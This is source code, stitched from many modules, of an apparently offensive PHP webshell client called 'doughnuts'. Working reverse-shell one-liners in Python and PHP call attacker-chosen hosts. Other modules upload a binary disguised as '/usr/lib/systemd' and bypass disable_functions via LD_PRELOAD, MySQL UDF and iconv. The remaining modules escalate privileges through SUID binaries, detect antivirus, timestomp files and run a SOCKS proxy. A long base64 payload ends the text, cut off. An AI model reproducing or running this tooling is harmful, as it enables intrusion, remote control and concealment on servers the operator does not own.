def run(lhost: str, port: int, mode: int = 0, fakename: str = "/usr/lib/systemd"): """ reshell Bind a local port and wait for target connect back to get a full shell. eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd} """ if (is_windows(False) or is_windows()): print(color.red(f"Only for both system is linux.")) return False try: port = int(port) except ValueError: port = 23333 disable_func_list = gget("webshell.disable_functions", "webshell") MODE = 1 print(color.yellow(f"Waring: You are using a testing command....")) print(color.yellow(f" Please make sure Port {port} open....")) if (mode == 0): if (has_env("python")): print(color.green(f"Traget has python environment.")) MODE == 1 else: print(color.red(f"Traget has not python environment.")) MODE == 2 else: MODE = int(mode) if ("proc_open" in disable_func_list): print(color.red("proc_open is disabled... Try Mode 3")) return if (MODE == 1): print(color.yellow(f"Use Mode 1->python")) command = get_php(lhost, port) else: print(color.yellow(f"Use Mode 2->upload")) filename = encrypt(f"{lhost}-{port}") if not upload( path.join(gget("root_path"), "auxiliary", "reshell", "reverse_server_x86_64"), "/tmp/%s" % filename, True): return command = get_system_code( f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}", False) t = Thread(target=delay_send, args=(2, command)) t.setDaemon(True) t.start() print(f"Bind port {color.yellow(str(port))}...") if (not bind(port, MODE)): print(color.red(f"Bind port error.")) if (MODE == 3): res = send(f"unlink('/tmp/{filename}');") if (not res): return
def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n" )) res = send( f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());' ).r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if ( is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command)) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def get_reverse_python(ip, port): if is_windows(): return oneline_python("""import os, socket, subprocess, threading, sys os.chdir('%s') def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(("%s", %s)) except: s.close(); sys.exit(0) p=subprocess.Popen(["cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0)""" % ( gget("webshell.root", "webshell"), ip, port, )) else: return ( oneline_python("""python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn('/bin/sh');s.close();'""" % (ip, port)) )
def run(mode: str, *web_file_paths): """ chmod (Only for *unix) Changes file(s) mode. eg: chmod {mode} {web_file_path} """ if (is_windows()): print(color.red("Target system is windows.")) return mode = str(mode) if (len(mode) < 4): mode = "0" + mode for each_file_path in web_file_paths: res = send( f"print(chmod(base64_decode('{base64_encode(each_file_path)}'), {mode}));" ) if (not res): return text = res.r_text.strip() if len(text): print( f"\nchmod {each_file_path} {mode} {color.green('success')}\n") else: print(f"\nchmod {each_file_path} {mode} {color.red('failed')}\n")
def run(find_path: str = "/usr&/bin"): """ av (Only for windows) Detect anti-virus software running on the target system. ps: Need to run system commands Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList """ if (not is_windows()): print(color.red("\nTarget system isn't windows\n")) return res = send(get_system_code("tasklist /svc")) if (not res or not res.r_text or "No system execute function" in res.r_text): print(color.red("\nDetect error\n")) return with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"), "r", encoding="utf-8") as f: av_processes = loads(f.read()) flag = 0 print("\n" + color.green(" " * 37 + "Result")) for line in res.r_text.split("\n"): process = line.split(' ')[0] if process in av_processes: flag = 1 print(" %40s - %-30s" % (color.cyan(process), color.yellow(av_processes[process]))) if (not flag): print(" %40s / %-30s" % (color.green('No anti-virus'), color.red('Not found'))) print()
def run(): """ clear Clear screen. """ if (is_windows(False)): system("cls") else: system("clear")
def run(port: int = 8888): """ socks (Only for *unix) Run a socks5 server on the target system by python. eg: socks {port=8888} """ if (is_windows()): print(color.red("Target system isn't *unix")) return flag = has_env("python") if flag: python = get_python(port) pyname = "check.py" res = send( f"print(file_put_contents('/tmp/{pyname}', base64_decode(\"{base64_encode(python)}\")));" ) if (not res): return text = res.r_text.strip() if not len(text): print(color.red("Failed to write file in /tmp directory.")) return t = Thread(target=send, args=(get_system_code(f"python /tmp/{pyname}"), )) t.setDaemon(True) t.start() t2 = Thread(target=delay_send, args=( 10.0, f"unlink('/tmp/{pyname}');", )) t2.setDaemon(True) t2.start() sleep(1) if (t.isAlive()): print( f"\nStart socks5 server listen on {port} {color.green('success')}.\n" ) else: print(f"\nStart socks5 server {color.red('error')}.\n") else: print( color.red( "The target host does not exist or cannot be found in the python environment." ))
def run(): """ bobd (Only for *unix) Try to bypass open_basedir by ini_set and chdir. """ disable_func_list = gget("webshell.disable_functions", "webshell") if (is_windows()): print(color.red("Target system isn't *unix")) return if ("chdir" in disable_func_list or ("ini_set" in disable_func_list and "ini_alter" in disable_func_list)): print("\n" + color.red("ini_set/ini_alter or chdir function is disabled") + "\n") return switch = not gget("webshell.bypass_obd", "webshell", default=False) print( f"\nbypass open_basedir: {color.green('On') if switch else color.red('Off')}\n") gset("webshell.bypass_obd", switch, True, "webshell")
def run(): """ checkvm Simply check whether the machine is a virtual machine. """ if (is_windows()): commands = (get_system_code( 'Systeminfo | findstr /i "System Model"', True)) else: commands = (get_system_code(each, True) for each in ( "dmidecode -s system-product-name", "lshw -class system", "dmesg | grep -i virtual", "lscpu")) for command in commands: result = send(command).r_text if (any(vm in result for vm in type_vm)): print(f"\nis VM: {color.green('True')}\n") else: print(f"\nis VM: {color.red('False')}\n")
def run(find_path: str = "/usr&/bin"): """ priv (Only for *unix) Find all files with suid belonging to root and try to get privilege escalation tips. ps:use & to split find_path eg: priv {find_path="/usr&/bin"} """ if (is_windows()): print(color.red("\nTarget system isn't *unix\n")) return print( color.yellow( f"\nFinding all files with suid belonging to root in {find_path}...\n" )) phpcode = "" priv_tips = {} if ("&" in find_path): find_paths = find_path.split("&") else: find_paths = (find_path, ) for each in find_paths: phpcode += get_system_code( f"find {each} -user root -perm -4000 -type f 2>/dev/null") res = send(phpcode) if (not res): return suid_commands = res.r_text.strip().split("\n") if (not suid_commands or "No system execute function" in suid_commands[0]): print(color.red("\nFind error\n")) return with open(path.join(gget("root_path"), "auxiliary", "priv", "gtfo.json"), "r") as f: priv_tips = loads(f.read()) for cmd_path in suid_commands: cmd = cmd_path.split("/")[-1] if (cmd in priv_tips): print( color.yellow(cmd_path) + f" ( https://gtfobins.github.io/gtfobins/{cmd}/ )\n") for k, v in priv_tips[cmd].items(): info = '\n'.join(v) print(f"""{color.cyan(k)}\n{color.green(info)}\n""")
def run(filepath="log.txt"): """ log (Only for *unix) Write input and output to the log. eg: log {filepath="log.txt"} """ if (is_windows(False)): print(color.red("\nYour system isn't *unix\n")) return if access(filepath, W_OK): print(color.green(f"\nSet log in {filepath}\n")) sys.stdout = Logger(filepath, sys.__stdout__) sys.stderr = Logger(filepath, sys.__stderr__) gset("log_filepath", filepath, True) gset("log_stdout", sys.stdout, True) gset("log_stderr", sys.stderr, True) else: print(color.red("\nFile path is invalid\n"))
def run(filename: str = ""): """ touch (Only for *unix) Specify a file whose modification time stamp is the same as a random file in the current directory. eg: touch {filename=this_webshell} """ if (is_windows()): print(color.red("Target system is windows.")) return try: command = get_system_code("touch -r $reference $file", False) res = send(get_php(filename, command)) if (not res): return reference = res.r_text.strip() print(color.green(f"Modify time stamp {reference} success.")) except IndexError: print(color.red("all the system execute commands are disabled."))
def get_reverse_python(ip, port): if is_windows(): return """from socket import socket, AF_INET, SOCK_STREAM from subprocess import PIPE, Popen from threading import Thread from io import open as ioopen def send(client, proc): f = ioopen(proc.stdout.fileno(), 'rb', closefd=False) while True: msg = f.read1(1024) if len(msg) == 0: break client.send(msg) def send2(client, proc): f = ioopen(proc.stderr.fileno(), 'rb', closefd=False) while True: msg = proc.stderr.readline() if len(msg) == 0: break client.send(msg) client = socket(AF_INET, SOCK_STREAM) addr = ('%s', %s) client.connect(addr) proc = Popen('cmd.exe /K',stdin=PIPE,stdout=PIPE,stderr=PIPE,shell=True, bufsize=1) t = Thread(target=send, args=(client, proc)) t.setDaemon(True) t.start() t = Thread(target=send2, args=(client, proc)) t.setDaemon(True) t.start() while True: msg = client.recv(1024) if len(msg) == 0: break proc.stdin.write(msg) proc.stdin.flush()""" % ( ip, port, ) else: return ( """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"%s\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'""" % (ip, port))
def run(): """ ps (Only for *unix) Report a snapshot of the current processes. eg: ps """ if (is_windows()): print(color.red(f"Only for target system is linux.")) return False splitchars = randstr("!@#$%^&*()1234567890") res = send(get_php(splitchars)) if (not res): return info_list = res.r_text.strip().split('\n') for line in info_list: info = line.split(splitchars) if (len(info) < 4): continue if (info[-1] != "CMDLINE"): info[-1] = color.cyan(info[-1]) print("%-4s %-8s %-12s %s" % (info[0], info[1], info[2], info[3]))
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders...} """ method = str(method).upper() params_dict = {} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return encode_functions = [str(f) for f in encode_functions] params_dict[raw_key] = {} webshell_netloc = urlparse(url).netloc gset("url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encode_functions, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell") info_req = send( "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") from_log = gget("webshell.from_log", "webshell") if not from_log: with open("webshell.log", "a+") as f: f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
from libs.config import alias, color from libs.myapp import send, is_windows sep = "\\" if is_windows() else "/" def get_php(web_file_path: str, pattern: str): return """function rglob($pattern, $flags = 0) { $files = glob($pattern, $flags); foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir) { $files = array_merge($files, rglob($dir.'/'.basename($pattern), $flags)); } return $files; } foreach(rglob("%s/*") as $v){ if(preg_match("/%s/", $v)){print(str_replace(realpath("%s")."\\\\","",realpath($v))."\\n");} } """ % (web_file_path, pattern, web_file_path) @alias(True, _type="DETECT", w="web_file_path", p="pattern") def run(pattern: str, web_file_path: str = "."): """ search Search file(s) from target system (Support regular expression). eg: search {pattern} {web_file_path="."} """ web_file_path = str(web_file_path) res = send(get_php(web_file_path, pattern))
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload if is_windows(): print(color.red("\nNo ld_preload function!\n")) return False disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) # get ld_preload trigger function available_trigger_funcs = [ 'mail', 'error_log', 'mb_send_mail', 'imap_mail' ] ld_preload_funcs = [ f for f in available_trigger_funcs if f not in disable_funcs ] if (not ld_preload_funcs): print(color.red("\nNo ld_preload function!\n")) return False ld_preload_func = choice(ld_preload_funcs) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x" + bits + ".so"), filename, True) if (not upload_result): print(color.red("\nUpload error\n")) return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): # detect plugin dir print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False # make plugin dir print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if is_windows() else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 elif (_ in ["back", "exit", "quit"]): return False else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) # upload so / dll udf_ext = ".dll" if is_windows() else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload(path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, force=True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") # create function sys_eval print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = {'host': '127.0.0.1', 'port': 9000} attack_type = input( "attack_type[gopher(need curl extension)/sock/http_sock]:").lower( ) if (attack_type not in ["gopher", "sock", "http_sock"]): return False gset("webshell.bdf_fpm.type", attack_type, True, "webshell") # input sock path if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") else: # input fpm http host and port for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nport must be number\n")) return False if new_v: requirements_dict[k] = new_v gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") elif (mode == 11): # apache-mod-cgi res = send("""$f=in_array('mod_cgi', apache_get_modules()); $f2=is_writable('.'); $f3=!empty($_SERVER['HTACCESS']); if(!$f){ die("Mod-Cgi not enabled"); } else if (!$f2) { die("Current directory not writable"); } print("success");""") if (res.r_text != "success"): print(color.red(f"\n{res.r_text}\n")) return False elif (mode == 12 and not gget("webshell.ld_preload_path", "webshell", False)): # iconv disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.iconv_path", "webshell", None)): filename = "/tmp/%s" % str(uuid4()) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload(path.join(gget("root_path"), "auxiliary", "iconv", "iconv_x" + bits + ".so"), filename + ".so", force=True) if (not upload_result): print(color.red("\nUpload error\n")) return gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2 module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2""" send( f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));" ) gset("webshell.iconv_path", filename + ".so", True, "webshell") gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules", True, "webshell") if (not test): if (mode in (7, 10, 12)): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def run(ip: str, port: str, reverse_type: str = "php"): """ reverse reverse shell to a host from target system. eg: reverse {ip} {port} {type=php} """ reverse_type = str(reverse_type).lower() if reverse_type == "php": php = get_reverse_php(ip, port) t = Thread(target=send, args=(php, )) t.setDaemon(True) t.start() elif reverse_type == "python": if has_env("python"): python = get_reverse_python(ip, port) if is_windows(): pyname = "python-update.py" upload_tmp_dir = gget("webshell.upload_tmp_dir", "webshell") res = send( f"print(file_put_contents('{upload_tmp_dir}{pyname}', \"{python}\"));" ) if (not res): return text = res.r_text.strip() if not len(text): print( color.red( f"Failed to write file in {upload_tmp_dir if upload_tmp_dir else 'current'} directory." )) return t = Thread(target=send, args=(get_system_code( f"python {upload_tmp_dir}{pyname}", False), )) t.setDaemon(True) t.start() t2 = Thread(target=delay_send, args=( 10.0, f"unlink('{upload_tmp_dir}{pyname}');", )) t2.setDaemon(True) t2.start() else: t = Thread(target=send, args=(get_system_code(python, False), )) t.setDaemon(True) t.start() else: print( color.red( "The target host does not exist or cannot be found in the python environment." )) return else: print(color.red("Reverse type Error.")) return sleep(1) if (t.isAlive()): print(f"\nReverse shell to {ip}:{port} {color.green('success')}.\n") else: print(f"\nReverse shell {color.red('error')}.\n")
def get_reverse_php(ip: str, port: str, upload_path: str): if (is_windows()): filename = f"{upload_path}\\\\services.exe" return """header('Content-type: text/plain'); $payload = "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